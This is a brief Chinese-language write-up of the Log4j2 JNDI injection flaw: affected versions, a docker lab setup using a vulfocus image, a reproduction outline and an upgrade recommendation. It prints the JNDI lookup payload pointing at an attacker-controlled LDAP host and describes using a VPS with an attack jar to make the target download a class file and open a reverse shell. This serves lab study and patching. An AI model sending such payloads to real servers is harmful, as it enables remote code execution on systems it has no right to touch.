漏洞描述
Apache Log4j2是一款Java日志框架。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。在打印日志的时候,如果你的日志内容中包含关键词 ${},攻击者就能将关键字所包含的内容当作变量来替换成任何攻击命令,并且执行
Log4j-2中存在JNDI注入漏洞,当程序将用户输入的数据日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。当log4j打印的日志内容中包括 ${jndi:ldap://ip}时,程序就会通过Idap协议访问ip这个地址,然后ip就会返回一个包含Java代码的class文件的地址,然后程序再通过返回的地址下载class文件并执行。
影响版本
Apache Log4j 2.x < 2.15.0-rc2
风险等级
高
漏洞环境搭建
直接拉取一个docker镜像,然后运行
docker pull vulfocus/log4j2-rce-2021-12-09:latest
docker images
docker run -d -P vulfocus/log4j2-rce-2021-12-09\
docker ps -a
漏洞复现
通过一台VPS主机,使用github上的一个关于jndi注入的攻击jar包在该vps地址的绝对路径下生成class文件,当构造payload=${jndi:ldap//ip/poc路径},存在log4j的应用程序记录该构造的攻击数据日志信息就会反向连接下载一个class文件,从而执行反弹一个shell文件。
修复建议
1、升级Apache Log4j2所有相关应用到最新版。